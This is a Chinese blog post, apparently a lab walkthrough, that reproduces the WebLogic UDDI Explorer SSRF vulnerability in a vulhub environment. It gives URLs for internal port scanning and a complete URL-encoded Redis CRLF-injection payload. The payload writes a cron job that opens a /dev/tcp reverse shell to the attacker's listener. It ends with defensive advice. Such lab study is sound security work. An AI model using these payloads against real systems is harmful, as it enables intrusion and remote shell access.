weblogicSSRF漏洞复现

一、关于SSRF

1.1 简介：

SSRF(Server-Side Request Forgery)服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞，一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

1.2 利用SSRF能实现以下效果:

1)        扫描内网（主机信息收集，Web应用指纹识别）
2）        根据所识别应用发送构造的Payload进行攻击
3）        Denial of service（请求大文件，始终保持连接Keep-Alive Always）

4）      攻击运行在内外网主机的应用程序

5）      攻击内外网的 Web 应用，主要是使用 GET参数就可以实现的攻击

6）      利用file协议读取本地文件

1.3 可用协议：

FILE   ： 读取服务器上任意文件内容

IMAP/IMAPS/POP3SMTP/SMTPS ： 爆破邮件用户名密码

FTP/FTPS   ： FTP匿名访问、爆破

DICT   ：操作内网Redis等服务

GOPHER   ：能够将所有操作转成数据流，并将数据流一次发出去，可以用来探测内网的所有服务的所有漏洞

TFTP ： UDP协议扩展

  经常利用： file协议读取本地文件

      　　　 Gopher协议对内网系统进行post攻击

           　　通过dict协议读取目标服务器端口上运行的服务版本信息

二、SSRF漏洞复现

2.1 环境搭建：

进入 vulhub/weblogic/ssrf 目录下执行

Docker-compose build

Docker-compose up -d  

搭建环境需要一些时间，可以继续往下看文章

搭建完成后，访问 http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp

（漏洞存在于该页面）出现如下图页面即为搭建成功：

2.2 漏洞测试：

环境：需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境，我用的是kali

SSRF靶机（CentOS7）：192.168.124.128

内网主机（Kali）：192.168.124.133

探测主机是否存活：

Payload ：参数 operator 后输入想探测的IP

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.124.133

出现如下图所示情况出现报错 weblogic.uddi.client.structures.exception.XML_SoapException ， 且根据后面提示此主机存活只是无法连接80端口（即未开放80端口）

同理尝试探测不存在的IP : 提示变为了No route to host

1. 访问一个可以访问的ip:port , 一般返回一个状态码，The server at http://ip:7001/ returned a 404 error code (Not Found) 如下图。这是探测本机

还尝试了探测kali上开放的一个端口，提示的是connect reset

之后尝试了nc -lvvp 8000 监听一个端口，发现如下图可以连接，但是weblogic页面一直处于响应中状态没有任何提示 。

也因此，根据这些特点可以进行内网的IP和端口扫描

三、 攻击redis服务器，并利用其反弹shell：

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入`%0a%0d`来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

1. 查看docker redis服务器的ip:port

Docker ps  

Docker exec -it 容器ID ip addr

 查看是否可以与redis服务器通信

此报错说明redis服务器开放且可以通信

1. 准备攻击代码 ：

            test

 


            set
            1
            "
            \n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.124.133/1111 0>&1\n\n\n\n
            "
            

config 
            set dir /etc/

config set dbfilename crontab

save

 

aaa

反弹shell步骤：

① 攻击者kali ： 192.168.124.133

 　  监听端口1111：nc -lvvp 1111

② 浏览器地址栏输入下面的攻击代码

http:// SSRF靶机ip : 端口 /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator= http://redis服务器ip:端口/+上面准备好的攻击代码 。

比如我的就是：

http://192.168.124.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.133%2F2222%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹成功

这里比较奇怪的是，kali并不能直接ping通 redis服务器（172.18.0.2）但是redis服务器可以ping通kali （-l 参数指定源IP） 所以不知道这个连接是怎样搞起来的。

四、SSRF防御思路：

通常有以下5个思路：

1,过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口，比如，80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

五、参考文章

SSRF漏洞利用扩展（file，gopher，dict协议）：https://www.cnblogs.com/flokz/p/ssrf.html

Vulhub关于SSRF漏洞文档：https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

SSRF攻击实例：https://www.freebuf.com/articles/web/20407.html

Weblogic 漏洞浮现：https://www.jianshu.com/p/cc752eb8deca

原文：https://www.cnblogs.com/Zh1z3ven/p/13088590.html